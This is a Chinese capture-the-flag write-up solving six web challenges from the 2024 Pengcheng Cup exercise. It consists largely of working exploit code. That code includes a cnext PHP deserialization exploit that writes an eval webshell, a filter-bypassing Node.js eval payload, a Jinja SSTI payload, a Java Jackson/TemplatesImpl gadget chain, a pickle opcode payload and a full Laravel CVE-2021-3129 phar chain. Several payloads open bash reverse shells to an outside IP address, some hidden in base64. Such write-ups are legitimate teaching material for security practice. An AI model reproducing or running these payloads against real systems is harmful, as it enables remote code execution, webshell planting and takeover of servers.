第四届“鹏城杯”联邦网络靶场协同攻防演练 WEB引言
第四届“鹏城杯”联邦网络靶场协同攻防演练 WEB全解析,今天刚打完2024鹏城杯感觉比往届都要难,一共打了10小时最后WEB全写出来了,有个JSJail逃逸和Java的jackson原生二次反序列化比较好,以下供师傅们分析学习。
Fileread-pcb2024
源码如下
<?php
class cls1
{
var $cls;
var $arr;
public function __construct()
{
$this->arr = array(1 => 'fileput');
$this->cls = new cls2();
}
}
class cls2
{
var $filename = 'a';
var $txt = '';
function fileput()
{
echo 'Your file:' . file_get_contents($this->filename);
}
}
$a = new cls1();
echo (serialize($a));
构造pop链但是读文件读不出来flag想到了cnext
<?php
class cls1
{
var $cls;
var $arr;
public function __construct()
{
$this->arr = array(1 => 'fileput');
$this->cls = new cls2();
}
}
class cls2
{
var $filename = 'a';
var $txt = '';
function fileput()
{
echo 'Your file:' . file_get_contents($this->filename);
}
}
$a = new cls1();
echo (serialize($a));
修改cnext脚本代码如下即可
def send(self, path: str) -> Response:
"""Sends given `path` to the HTTP server. Returns the response.
"""
#O:4:"cls1":2:{s:3:"cls";O:4:"cls2":2:{s:8:"filename";s:1:"a";s:3:"txt";s:0:"";}s:3:"arr";a:1:{i:1;s:7:"fileput";}}
a='O:4:"cls1":2:{s:3:"cls";O:4:"cls2":2:{s:8:"filename";s:'+str(len(path))+':"'+path+'";s:3:"txt";s:0:"";}s:3:"arr";a:1:{i:1;s:7:"fileput";}}'
return self.session.get(self.url+"?ser="+base64.encode(a))
def download(self, path: str) -> bytes:
"""Returns the contents of a remote file.
"""
path = f"php://filter/convert.base64-encode/resource={path}"
response = self.send(path)
data = response.re.search(b"Your file:(.*)", flags=re.S).group(1)
return base64.decode(data)
跑一下写shell
python3 cnext-exploit.py "http://192.168.18.24/" 'echo "<?php eval(\$_POST[1]);?>" > my.php'
NotAdmin-pcb2024
源码如下
const express = require('express');
const bodyParser = require('body-parser');
const jwt = require('jsonwebtoken');
let { User } = require('./user');
const crypto = require('crypto');
const path = require('path')
const app = express();
const port = 3000;
app.set('view engine', 'ejs');
app.set('views', path.join(__dirname, 'views'));
app.use(express.static('public'));
app.use(bodyParser.urlencoded({ extended: true }));
app.use(express.json());
const tmp_user = {}
function authenticateToken(req, res, next) {
const authHeader = req.headers['authorization'];
const token = authHeader;
if (tmp_user.secretKey == undefined) {
tmp_user.secretKey = crypto.randomBytes(16).toString('hex');
}
if (!token) {
return res.redirect('/login');
}
try {
const decoded = jwt.verify(token, tmp_user.secretKey);
req.user = decoded;
next();
} catch (ex) {
return res.status(400).send('Invalid token.');
}
}
const merge = (a, b) => {
for (var c in b) {
console.log(JSON.stringify(b[c]));
if (check(b[c])) {
if (a.hasOwnProperty(c) && b.hasOwnProperty(c) && typeof a[c] === 'object' && typeof b[c] === 'object') {
merge(a[c], b[c]);
} else {
a[c] = b[c];
}
} else {
return 0
}
}
return a
}
console.log(tmp_user.secretKey)
var check = function (str) {
let input = /const|var|let|return|subprocess|Array|constructor|load|push|mainModule|from|buffer|process|child_process|main|require|exec|this|eval|while|for|function|hex|char|base|"|'|\\|\[|\+|\*/ig;
if (typeof str === 'object' && str !== null) {
for (let key in str) {
if (!check(key)) {
return false;
}
if (!check(str[key])) {
return false;
}
}
return true;
} else {
return !input.test(str);
}
};
app.get('/login', (req, res) => {
res.render('login')
});
app.post('/login', (req, res) => {
if (merge(tmp_user, req.body)) {
if (tmp_user.secretKey == undefined) {
tmp_user.secretKey = crypto.randomBytes(16).toString('hex');
}
if (User.verifyLogin(tmp_user.password)) {
const token = jwt.sign({ username: tmp_user.username }, tmp_user.secretKey);
res.send(`Login successful! Token: ${token}\nBut nothing happend~`);
} else {
res.send('Login failed!');
}
} else {
res.send("Hacker denied!")
}
});
app.get('/', (req, res) => {
authenticateToken(req, res, () => {
backcode = eval(tmp_user.code)
res.send("something happend~")
});
});
app.listen(port, () => {
console.log(`Server running at http://localhost:${port}`);
});
通过code来执行命令,由于关键字过滤掉了单双引号,这里可以全部换成反引号。没有过滤掉Reflect
,考虑用反射调用函数实现RCE。首先,由于过滤了child_process
还有require
关键字,我想到的是base64编码一下再执行
过滤掉了Buffer
,可以换成
Reflect.get(global, Reflect.ownKeys(global).find(x=>x.startsWith(`Buf`)))
但问题在于,关键字还过滤了中括号,这一点简单,再加一层Reflect.get
Reflect.get(Object.values(Reflect.get(global, Reflect.ownKeys(global).find(x=>x.startsWith(`Buf`)))),1)
所以基本payload变成
Reflect.get(Object.values(Reflect.get(global, Reflect.ownKeys(global).find(x=>x.startsWith(`Buf`)))),1)(`Z2xvYmFsLnByb2Nlc3MubWFpbk1vZHVsZS5jb25zdHJ1Y3Rvci5fbG9hZCgiY2hpbGRfcHJvY2VzcyIpLmV4ZWNTeW5jKCJjdXJsIDEyNy4wLjAuMToxMjM0Iik=`,`base`.concat(64)).toString()
但问题在于,这样传过去后,eval只会进行解码,而不是执行解码后的内容,所以需要再套一层eval,因为过滤了eval关键字,同样考虑用反射获取到eval函数。
Reflect.get(global, Reflect.ownKeys(global).find(x=>x.includes('eva')))(Reflect.get(Object.values(Reflect.get(global, Reflect.ownKeys(global).find(x=>x.startsWith(`Buf`)))),1)(`Z2xvYmFsLnByb2Nlc3MubWFpbk1vZHVsZS5jb25zdHJ1Y3Rvci5fbG9hZCgiY2hpbGRfcHJvY2VzcyIpLmV4ZWNTeW5jKCJjdXJsIDEyNy4wLjAuMToxMjM0Iik=`,`base`.concat(64)).toString())
原型链污染脚本如下
import requests
session = requests.session()
burp0_url = "http://192.168.18.21:80/"
code = "(Reflect.get(global, Reflect.ownKeys(global).find(x=>x.includes(`eva`)))(Reflect.get(Object.values(Reflect.get(global, Reflect.ownKeys(global).find(x=>x.startsWith(`Buf`)))),1)(`Z2xvYmFsLnByb2Nlc3MubWFpbk1vZHVsZS5jb25zdHJ1Y3Rvci5fbG9hZCgiY2hpbGRfcHJvY2VzcyIpLmV4ZWNTeW5jKCJiYXNoIC1jICdiYXNoIC1pID4mIC9kZXYvdGNwLzEyNC4yMjAuMzcuMTczLzIzMzMgMD4mMSciKQ==`,`bas`.concat(`e64`)).toString()))"
burp0_json={"code": code}
res2=session.post(burp0_url+'login', json=burp0_json)
print(res2.text)
burp0_headers = {"authorization": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiaWF0IjoxNzMxMTIwMTQyfQ.ul_3t_yYxj4dMh5D-hq2UhRqw5qt3qEI1EdQ92cyjFI"}
res = session.get(burp0_url, headers=burp0_headers)
print(res.text)
python口算-pcb2024
开局是一个算式
写脚本得到下一关的文件
import requests
url = "http://192.168.18.28/calc"
response = requests.get(url)
ans = eval(response.text)
print(ans)
url = "http://192.168.18.28/?answer="+str(ans)+"&Submit=Submit"
response = requests.get(url)
print(response.text)
得到如下源码
@app.route('/')
def index(solved=0):
global current_expr
# 前端计算
.....
.....
# 通过计算
username = 'ctfer!'
if request.args.get('username'):
username = request.args.get('username')
if whitelist_filter(username,whitelist_patterns):
if blacklist_filter(username):
return render_template_string("filtered")
else:
print("你过关!")
else:
return render_template_string("filtered")
return render_template('index.html', username=username, hint="f4dd790b-bc4e-48de-b717-903d433c597f")
黑盒ssti绕过写脚本如下,只用绕过空格和关键词那么我们拼接绕过
import requests
import re
from base64 import b64encode
url = "http://192.168.18.28/calc"
seq = requests.session()
response = seq.get(url)
ans = eval(response.text)
url = "http://192.168.18.28/"
param = {
'answer' : str(ans),
'username' : '''{{config.__init__.__globals__['__builtins__']['ev''al']("__impo"+"rt__('o"+"s').po"+"pen('cat$IFS/flag').read()")}}'''
}
response = seq.get(url, params=param, data=param)
print(response.text)
LookUp-pcb2024
源码如下
public class IndexController {
@RequestMapping(value = {"/des"}, method = {RequestMethod.POST})
public String deserialize(@RequestParam("base64Data") String base64Data) {
System.out.println(base64Data);
return deserializeData(Base64.getMimeDecoder().decode(base64Data));
}
private static String deserializeData(byte[] serializedData) {
try {
ByteArrayInputStream bis = new ByteArrayInputStream(serializedData);
MyInputstream ois = new MyInputstream(bis);
ois.readObject();
ois.close();
bis.close();
return "success";
} catch (InvalidClassException e) {
System.out.println(e.toString());
return "hacker";
} catch (Exception e2) {
return "error";
} }}
并实现了Myinputstream的过滤
public class MyInputstream extends ObjectInputStream {
private ArrayList list = new ArrayList();
public MyInputstream(InputStream in) throws IOException {
super(in);
}
@Override // java.io.ObjectInputStream
protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException {
this.list.add(TemplatesImpl.class.getName());
this.list.add(hello.class.getName());
this.list.add(HashMap.class.getName());
this.list.add(Hashtable.class.getName());
System.out.println(desc.getName());
if (!this.list.contains(desc.getName())) {
return super.resolveClass(desc);
} throw new InvalidClassException("nonono");
}}
pom依赖如下
<dependencies>
<!-- Spring Web MVC -->
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter</artifactId>
<version>2.5.4</version> <!-- 替换为你想要使用的 Spring Boot 版本 -->
</dependency>
<!-- Spring Boot Web 依赖,用于构建 Web 应用程序 -->
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-web</artifactId>
<version>2.5.4</version> <!-- 替换为你想要使用的 Spring Boot 版本 -->
</dependency>
<dependency>
<groupId>commons-codec</groupId>
<artifactId>commons-codec</artifactId>
<version>1.15</version> <!-- 替换为你想要使用的 Apache Commons Codec 版本 -->
</dependency>
<dependency>
<groupId>org.springframework</groupId>
<artifactId>spring-webmvc</artifactId>
<version>5.3.10</version>
</dependency>
<!-- Spring Core -->
<dependency>
<groupId>org.springframework</groupId>
<artifactId>spring-core</artifactId>
<version>5.3.10</version>
</dependency>
<!-- 其他Spring依赖 -->
<!-- 根据您的具体需求添加其他Spring依赖,如Spring Security、Spring Data等 -->
<dependency>
<groupId>junit</groupId>
<artifactId>junit</artifactId>
<version>4.11</version>
<scope>test</scope>
</dependency>
<dependency>
<groupId>rome</groupId>
<artifactId>rome</artifactId>
<version>1.0</version>
</dependency>
</dependencies>
我们打二次反序列化, 有jackson依赖我们直接打原生的
链子也就是jackson
BadAttributeValueExpException#readObject() -> ToStringBean#toString() ->POJONode#toString() -> SignedObject#getObject() -> BadAttributeValueExpException#readObject() -> BaseJsonNode#toString() -> TemplatesImpl#getOutputProperties()
构造payload如下:
import com.fasterxml.jackson.databind.node.POJONode;
import java.io.ByteArrayOutputStream;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.security.*;
import java.util.Base64;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import javassist.*;
import javax.management.BadAttributeValueExpException;
public class SignedObjectBAVEPoC
{
public static void main(String[] args) throws Exception {
ClassPool pool = ClassPool.getDefault();
CtClass ctClass0 = pool.get("com.fasterxml.jackson.databind.node.BaseJsonNode");
CtMethod writeReplace = ctClass0.getDeclaredMethod("writeReplace");
ctClass0.removeMethod(writeReplace);
ctClass0.toClass();
ClassPool pool2 = ClassPool.getDefault();
CtClass ctClass = pool2.makeClass("a");
CtClass superClass = pool2.get(AbstractTranslet.class.getName());
ctClass.setSuperclass(superClass);
CtConstructor constructor = new CtConstructor(new CtClass[]{},ctClass);
constructor.setBody("Runtime.getRuntime().exec(\"bash -c {echo,YmFzaCAgIC1jICAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xMjQuMjIwLjM3LjE3My84OTk5IDA+JjEn}|{base64,-d}|{bash,-i}\");");
ctClass.addConstructor(constructor);
byte[] bytes = ctClass.toBytecode();
TemplatesImpl templatesImpl = new TemplatesImpl();
setFieldValue(templatesImpl, "_bytecodes", new byte[][]{bytes});
setFieldValue(templatesImpl, "_name", "bbb");
setFieldValue(templatesImpl, "_tfactory", null);
POJONode jsonNodes = new POJONode(templatesImpl);
BadAttributeValueExpException exp = new BadAttributeValueExpException(null);
Field val = Class.forName("javax.management.BadAttributeValueExpException").getDeclaredField("val");
val.setAccessible(true);
val.set(exp,jsonNodes);
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(barr);
//二次反序列化
KeyPairGenerator kpg = KeyPairGenerator.getInstance("DSA");
kpg.initialize(1024);
KeyPair kp = kpg.generateKeyPair();
SignedObject signedObject = new SignedObject(exp, kp.getPrivate(), Signature.getInstance("DSA"));
POJONode node = new POJONode(signedObject);
BadAttributeValueExpException val2 = new BadAttributeValueExpException(null);
setFieldValue(val2, "val", node);
System.out.println(Base64.getEncoder().encodeToString(serialize(val2)));
} public static byte[] serialize(Object obj) throws IOException {
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(obj);
return baos.toByteArray();}
public static void setFieldValue(Object obj, String field, Object val) throws Exception{
Field dField = obj.getClass().getDeclaredField(field);
dField.setAccessible(true);
dField.set(obj, val);
}
}
ezpython
dirsearch扫到一个login入口,试了一下弱口令登进去: test/123456
有一个管理员登录入口
const loginForm = document.getElementById('loginForm');
const errorMessage = document.getElementById('errorMessage');
loginForm.addEventListener('submit', function(event) {
event.preventDefault();
const username = document.getElementById('username').value;
const password = document.getElementById('password').value;
// 发送登录请求
fetch('/login', {
method: 'POST',
headers: {
'Content-Type': 'application/json',
},
body: JSON.stringify({ username: username, password: password }),
})
.then(response => response.json())
.then(data => {
if (data.token) {
// 保存JWT到localStorage
localStorage.setItem('token', `${data.token}`);
// 显示成功消息,并启用受保护的请求按钮
alert("Login successful!");
document.getElementById('protectedBtn').style.display = 'block';
} else {
errorMessage.textContent = data.message;
errorMessage.style.display = 'block';
}
})
.catch(error => {
errorMessage.textContent = 'An error occurred. Please try again.';
errorMessage.style.display = 'block';
});
});
// 点击按钮访问受保护的路由时,自动添加 JWT 令牌
function accessProtectedRoute() {
const token = localStorage.getItem('token');
if (token) {
// 访问受保护的路由,并将JWT附加到请求头中
fetch('/protected', {
method: 'GET',
headers: {
'Authorization': token // 添加 JWT 到 Authorization 请求头
}
})
.then(response => response.json())
.then(data => {
alert(data.message); // 显示不同的消息
})
.catch(error => {
console.error('Error:', error);
});
} else {
alert('No token found. Please login.');
}
}
拿到token爆破secretkey:a123456
然后伪造token进去
得到路由ser并由部分源码
import pickle
import base64
def hhhhackme(pickled):
data = base64.urlsafe_b64decode(pickled)
deserialized = pickle.loads(data)
return '', 204
传参后提示json我们传json,打反序列化反弹shell
import base64
opcode=b'''cos
system
(S"bash -c 'bash -i >& /dev/tcp/vps/2333 0>&1'"
tR.
'''
print(base64.b64encode(opcode))
larave-lpcb2024
看到版本搜一下Laravel RCE(CVE-2021-3129)
先下载exp
git clone https://github.com/ambionics/phpggc.git
chmod 777 ./phpggc
docker运行phpggc生成payload
docker run phpggc Laravel/RCE5 "system('cat /flag.txt');;" --phar phar -o php://output | base64 -w 0 | python -c "import sys;print(''.join(['=' + hex(ord(i))[2:] + '=00' for i in sys.stdin.read()]).upper())"
得到的POC(编码后的)最后面再加一个a,否则最终laravel.log里面将生成两个POC,导致利用失败:
=50=00=44=00=39=00=77=00=61=00=48=00=41=00=67=00=58=00=31=00=39=00=49=00=51=00=55=00=78=00=55=00=58=00=30=00=4E=00=50=00=54=00=56=00=42=00=4A=00=54=00=45=00=56=00=53=00=4B=00=43=00=6B=00=37=00=49=00=44=00=38=00=2B=00=44=00=51=00=6F=00=4F=00=41=00=67=00=41=00=41=00=41=00=51=00=41=00=41=00=41=00=42=00=45=00=41=00=41=00=41=00=41=00=42=00=41=00=41=00=41=00=41=00=41=00=41=00=44=00=58=00=41=00=51=00=41=00=41=00=54=00=7A=00=6F=00=30=00=4D=00=44=00=6F=00=69=00=53=00=57=00=78=00=73=00=64=00=57=00=31=00=70=00=62=00=6D=00=46=00=30=00=5A=00=56=00=78=00=43=00=63=00=6D=00=39=00=68=00=5A=00=47=00=4E=00=68=00=63=00=33=00=52=00=70=00=62=00=6D=00=64=00=63=00=55=00=47=00=56=00=75=00=5A=00=47=00=6C=00=75=00=5A=00=30=00=4A=00=79=00=62=00=32=00=46=00=6B=00=59=00=32=00=46=00=7A=00=64=00=43=00=49=00=36=00=4D=00=6A=00=70=00=37=00=63=00=7A=00=6F=00=35=00=4F=00=69=00=49=00=41=00=4B=00=67=00=42=00=6C=00=64=00=6D=00=56=00=75=00=64=00=48=00=4D=00=69=00=4F=00=30=00=38=00=36=00=4D=00=6A=00=55=00=36=00=49=00=6B=00=6C=00=73=00=62=00=48=00=56=00=74=00=61=00=57=00=35=00=68=00=64=00=47=00=56=00=63=00=51=00=6E=00=56=00=7A=00=58=00=45=00=52=00=70=00=63=00=33=00=42=00=68=00=64=00=47=00=4E=00=6F=00=5A=00=58=00=49=00=69=00=4F=00=6A=00=45=00=36=00=65=00=33=00=4D=00=36=00=4D=00=54=00=59=00=36=00=49=00=67=00=41=00=71=00=41=00=48=00=46=00=31=00=5A=00=58=00=56=00=6C=00=55=00=6D=00=56=00=7A=00=62=00=32=00=78=00=32=00=5A=00=58=00=49=00=69=00=4F=00=32=00=45=00=36=00=4D=00=6A=00=70=00=37=00=61=00=54=00=6F=00=77=00=4F=00=30=00=38=00=36=00=4D=00=6A=00=55=00=36=00=49=00=6B=00=31=00=76=00=59=00=32=00=74=00=6C=00=63=00=6E=00=6C=00=63=00=54=00=47=00=39=00=68=00=5A=00=47=00=56=00=79=00=58=00=45=00=56=00=32=00=59=00=57=00=78=00=4D=00=62=00=32=00=46=00=6B=00=5A=00=58=00=49=00=69=00=4F=00=6A=00=41=00=36=00=65=00=33=00=31=00=70=00=4F=00=6A=00=45=00=37=00=63=00=7A=00=6F=00=30=00=4F=00=69=00=4A=00=73=00=62=00=32=00=46=00=6B=00=49=00=6A=00=74=00=39=00=66=00=58=00=4D=00=36=00=4F=00=44=00=6F=00=69=00=41=00=43=00=6F=00=41=00=5A=00=58=00=5A=00=6C=00=62=00=6E=00=51=00=69=00=4F=00=30=00=38=00=36=00=4D=00=7A=00=67=00=36=00=49=00=6B=00=6C=00=73=00=62=00=48=00=56=00=74=00=61=00=57=00=35=00=68=00=64=00=47=00=56=00=63=00=51=00=6E=00=4A=00=76=00=59=00=57=00=52=00=6A=00=59=00=58=00=4E=00=30=00=61=00=57=00=35=00=6E=00=58=00=45=00=4A=00=79=00=62=00=32=00=46=00=6B=00=59=00=32=00=46=00=7A=00=64=00=45=00=56=00=32=00=5A=00=57=00=35=00=30=00=49=00=6A=00=6F=00=78=00=4F=00=6E=00=74=00=7A=00=4F=00=6A=00=45=00=77=00=4F=00=69=00=4A=00=6A=00=62=00=32=00=35=00=75=00=5A=00=57=00=4E=00=30=00=61=00=57=00=39=00=75=00=49=00=6A=00=74=00=50=00=4F=00=6A=00=4D=00=79=00=4F=00=69=00=4A=00=4E=00=62=00=32=00=4E=00=72=00=5A=00=58=00=4A=00=35=00=58=00=45=00=64=00=6C=00=62=00=6D=00=56=00=79=00=59=00=58=00=52=00=76=00=63=00=6C=00=78=00=4E=00=62=00=32=00=4E=00=72=00=52=00=47=00=56=00=6D=00=61=00=57=00=35=00=70=00=64=00=47=00=6C=00=76=00=62=00=69=00=49=00=36=00=4D=00=6A=00=70=00=37=00=63=00=7A=00=6F=00=35=00=4F=00=69=00=49=00=41=00=4B=00=67=00=42=00=6A=00=62=00=32=00=35=00=6D=00=61=00=57=00=63=00=69=00=4F=00=30=00=38=00=36=00=4D=00=7A=00=55=00=36=00=49=00=6B=00=31=00=76=00=59=00=32=00=74=00=6C=00=63=00=6E=00=6C=00=63=00=52=00=32=00=56=00=75=00=5A=00=58=00=4A=00=68=00=64=00=47=00=39=00=79=00=58=00=45=00=31=00=76=00=59=00=32=00=74=00=44=00=62=00=32=00=35=00=6D=00=61=00=57=00=64=00=31=00=63=00=6D=00=46=00=30=00=61=00=57=00=39=00=75=00=49=00=6A=00=6F=00=78=00=4F=00=6E=00=74=00=7A=00=4F=00=6A=00=63=00=36=00=49=00=67=00=41=00=71=00=41=00=47=00=35=00=68=00=62=00=57=00=55=00=69=00=4F=00=33=00=4D=00=36=00=4E=00=7A=00=6F=00=69=00=59=00=57=00=4A=00=6A=00=5A=00=47=00=56=00=6D=00=5A=00=79=00=49=00=37=00=66=00=58=00=4D=00=36=00=4E=00=7A=00=6F=00=69=00=41=00=43=00=6F=00=41=00=59=00=32=00=39=00=6B=00=5A=00=53=00=49=00=37=00=63=00=7A=00=6F=00=30=00=4D=00=44=00=6F=00=69=00=50=00=44=00=39=00=77=00=61=00=48=00=41=00=67=00=63=00=33=00=6C=00=7A=00=64=00=47=00=56=00=74=00=4B=00=43=00=64=00=6A=00=59=00=58=00=51=00=67=00=4C=00=32=00=5A=00=73=00=59=00=57=00=63=00=75=00=64=00=48=00=68=00=30=00=4A=00=79=00=6B=00=37=00=4F=00=79=00=42=00=6C=00=65=00=47=00=6C=00=30=00=4F=00=79=00=41=00=2F=00=50=00=69=00=49=00=37=00=66=00=58=00=31=00=39=00=43=00=41=00=41=00=41=00=41=00=48=00=52=00=6C=00=63=00=33=00=51=00=75=00=64=00=48=00=68=00=30=00=42=00=41=00=41=00=41=00=41=00=4B=00=4D=00=63=00=4C=00=32=00=63=00=45=00=41=00=41=00=41=00=41=00=44=00=48=00=35=00=2F=00=32=00=4B=00=51=00=42=00=41=00=41=00=41=00=41=00=41=00=41=00=41=00=41=00=31=00=33=00=52=00=6C=00=63=00=33=00=52=00=46=00=6A=00=32=00=5A=00=38=00=74=00=41=00=76=00=50=00=6C=00=55=00=6E=00=49=00=63=00=69=00=52=00=61=00=41=00=53=00=6E=00=51=00=73=00=77=00=63=00=7A=00=77=00=77=00=49=00=41=00=41=00=41=00=42=00=48=00=51=00=6B=00=31=00=43=00a
清空日志
POST /_ignition/execute-solution HTTP/1.1
Content-Type: application/json
{ "solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution", "parameters": { "variableName": "username", "viewFile": "php://filter/write=convert.iconv.utf-8.utf-16be|convert.quoted-printable-encode|convert.iconv.utf-16be.utf-8|convert.base64-decode/resource=../storage/logs/laravel.log" } }
发送如下数据包,给Log增加一次前缀,用于对齐:
POST /_ignition/execute-solution HTTP/1.1
Host: 139.xxx:8080
Content-Type: application/json
Content-Length: 155
{ "solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution", "parameters": { "variableName":"username", "viewFile": "AA" } }
将POC作为viewFile的值,发送数据包
{ "solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution", "parameters": { "variableName":"username", "viewFile": "=50=00=44=00=39=00=77=00=61=00=48=00=41=00=67=00=58=00=31=00=39=00=49=00=51=00=55=00=78=00=55=00=58=00=30=00=4E=00=50=00=54=00=56=00=42=00=4A=00=54=00=45=00=56=00=53=00=4B=00=43=00=6B=00=37=00=49=00=44=00=38=00=2B=00=44=00=51=00=6F=00=62=00=41=00=67=00=41=00=41=00=41=00=51=00=41=00=41=00=41=00=42=00=45=00=41=00=41=00=41=00=41=00=42=00=41=00=41=00=41=00=41=00=41=00=41=00=44=00=6C=00=41=00=51=00=41=00=41=00=54=00=7A=00=6F=00=30=00=4D=00=44=00=6F=00=69=00=53=00=57=00=78=00=73=00=64=00=57=00=31=00=70=00=62=00=6D=00=46=00=30=00=5A=00=56=00=78=00=43=00=63=00=6D=00=39=00=68=00=5A=00=47=00=4E=00=68=00=63=00=33=00=52=00=70=00=62=00=6D=00=64=00=63=00=55=00=47=00=56=00=75=00=5A=00=47=00=6C=00=75=00=5A=00=30=00=4A=00=79=00=62=00=32=00=46=00=6B=00=59=00=32=00=46=00=7A=00=64=00=43=00=49=00=36=00=4D=00=6A=00=70=00=37=00=63=00=7A=00=6F=00=35=00=4F=00=69=00=49=00=41=00=4B=00=67=00=42=00=6C=00=64=00=6D=00=56=00=75=00=64=00=48=00=4D=00=69=00=4F=00=30=00=38=00=36=00=4D=00=6A=00=55=00=36=00=49=00=6B=00=6C=00=73=00=62=00=48=00=56=00=74=00=61=00=57=00=35=00=68=00=64=00=47=00=56=00=63=00=51=00=6E=00=56=00=7A=00=58=00=45=00=52=00=70=00=63=00=33=00=42=00=68=00=64=00=47=00=4E=00=6F=00=5A=00=58=00=49=00=69=00=4F=00=6A=00=45=00=36=00=65=00=33=00=4D=00=36=00=4D=00=54=00=59=00=36=00=49=00=67=00=41=00=71=00=41=00=48=00=46=00=31=00=5A=00=58=00=56=00=6C=00=55=00=6D=00=56=00=7A=00=62=00=32=00=78=00=32=00=5A=00=58=00=49=00=69=00=4F=00=32=00=45=00=36=00=4D=00=6A=00=70=00=37=00=61=00=54=00=6F=00=77=00=4F=00=30=00=38=00=36=00=4D=00=6A=00=55=00=36=00=49=00=6B=00=31=00=76=00=59=00=32=00=74=00=6C=00=63=00=6E=00=6C=00=63=00=54=00=47=00=39=00=68=00=5A=00=47=00=56=00=79=00=58=00=45=00=56=00=32=00=59=00=57=00=78=00=4D=00=62=00=32=00=46=00=6B=00=5A=00=58=00=49=00=69=00=4F=00=6A=00=41=00=36=00=65=00=33=00=31=00=70=00=4F=00=6A=00=45=00=37=00=63=00=7A=00=6F=00=30=00=4F=00=69=00=4A=00=73=00=62=00=32=00=46=00=6B=00=49=00=6A=00=74=00=39=00=66=00=58=00=4D=00=36=00=4F=00=44=00=6F=00=69=00=41=00=43=00=6F=00=41=00=5A=00=58=00=5A=00=6C=00=62=00=6E=00=51=00=69=00=4F=00=30=00=38=00=36=00=4D=00=7A=00=67=00=36=00=49=00=6B=00=6C=00=73=00=62=00=48=00=56=00=74=00=61=00=57=00=35=00=68=00=64=00=47=00=56=00=63=00=51=00=6E=00=4A=00=76=00=59=00=57=00=52=00=6A=00=59=00=58=00=4E=00=30=00=61=00=57=00=35=00=6E=00=58=00=45=00=4A=00=79=00=62=00=32=00=46=00=6B=00=59=00=32=00=46=00=7A=00=64=00=45=00=56=00=32=00=5A=00=57=00=35=00=30=00=49=00=6A=00=6F=00=78=00=4F=00=6E=00=74=00=7A=00=4F=00=6A=00=45=00=77=00=4F=00=69=00=4A=00=6A=00=62=00=32=00=35=00=75=00=5A=00=57=00=4E=00=30=00=61=00=57=00=39=00=75=00=49=00=6A=00=74=00=50=00=4F=00=6A=00=4D=00=79=00=4F=00=69=00=4A=00=4E=00=62=00=32=00=4E=00=72=00=5A=00=58=00=4A=00=35=00=58=00=45=00=64=00=6C=00=62=00=6D=00=56=00=79=00=59=00=58=00=52=00=76=00=63=00=6C=00=78=00=4E=00=62=00=32=00=4E=00=72=00=52=00=47=00=56=00=6D=00=61=00=57=00=35=00=70=00=64=00=47=00=6C=00=76=00=62=00=69=00=49=00=36=00=4D=00=6A=00=70=00=37=00=63=00=7A=00=6F=00=35=00=4F=00=69=00=49=00=41=00=4B=00=67=00=42=00=6A=00=62=00=32=00=35=00=6D=00=61=00=57=00=63=00=69=00=4F=00=30=00=38=00=36=00=4D=00=7A=00=55=00=36=00=49=00=6B=00=31=00=76=00=59=00=32=00=74=00=6C=00=63=00=6E=00=6C=00=63=00=52=00=32=00=56=00=75=00=5A=00=58=00=4A=00=68=00=64=00=47=00=39=00=79=00=58=00=45=00=31=00=76=00=59=00=32=00=74=00=44=00=62=00=32=00=35=00=6D=00=61=00=57=00=64=00=31=00=63=00=6D=00=46=00=30=00=61=00=57=00=39=00=75=00=49=00=6A=00=6F=00=78=00=4F=00=6E=00=74=00=7A=00=4F=00=6A=00=63=00=36=00=49=00=67=00=41=00=71=00=41=00=47=00=35=00=68=00=62=00=57=00=55=00=69=00=4F=00=33=00=4D=00=36=00=4E=00=7A=00=6F=00=69=00=59=00=57=00=4A=00=6A=00=5A=00=47=00=56=00=6D=00=5A=00=79=00=49=00=37=00=66=00=58=00=4D=00=36=00=4E=00=7A=00=6F=00=69=00=41=00=43=00=6F=00=41=00=59=00=32=00=39=00=6B=00=5A=00=53=00=49=00=37=00=63=00=7A=00=6F=00=31=00=4E=00=44=00=6F=00=69=00=50=00=44=00=39=00=77=00=61=00=48=00=41=00=67=00=63=00=33=00=6C=00=7A=00=64=00=47=00=56=00=74=00=4B=00=43=00=64=00=73=00=63=00=79=00=41=00=76=00=4A=00=79=00=6B=00=37=00=63=00=33=00=6C=00=7A=00=64=00=47=00=56=00=74=00=4B=00=43=00=64=00=6A=00=59=00=58=00=51=00=67=00=4C=00=32=00=5A=00=73=00=59=00=57=00=63=00=75=00=64=00=48=00=68=00=30=00=4A=00=79=00=6B=00=37=00=49=00=47=00=56=00=34=00=61=00=58=00=51=00=37=00=49=00=44=00=38=00=2B=00=49=00=6A=00=74=00=39=00=66=00=58=00=30=00=49=00=41=00=41=00=41=00=41=00=64=00=47=00=56=00=7A=00=64=00=43=00=35=00=30=00=65=00=48=00=51=00=45=00=41=00=41=00=41=00=41=00=49=00=78=00=34=00=76=00=5A=00=77=00=51=00=41=00=41=00=41=00=41=00=4D=00=66=00=6E=00=2F=00=59=00=70=00=41=00=45=00=41=00=41=00=41=00=41=00=41=00=41=00=41=00=42=00=30=00=5A=00=58=00=4E=00=30=00=73=00=52=00=38=00=57=00=51=00=34=00=61=00=4C=00=73=00=37=00=61=00=45=00=70=00=65=00=54=00=5A=00=7A=00=52=00=43=00=33=00=66=00=4B=00=2B=00=69=00=55=00=53=00=77=00=43=00=41=00=41=00=41=00=41=00=52=00=30=00=4A=00=4E=00=51=00=67=00=3D=00=3D=00a" } }
发送如下数据包,清空对log文件中的干扰字符,只留下POC:
{ "solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution", "parameters": { "variableName": "username", "viewFile": "phar:///var/www/storage/logs/laravel.log/test.txt" } }
使用phar://进行反序列化,执行任意代码(此时需要使用绝对路径)
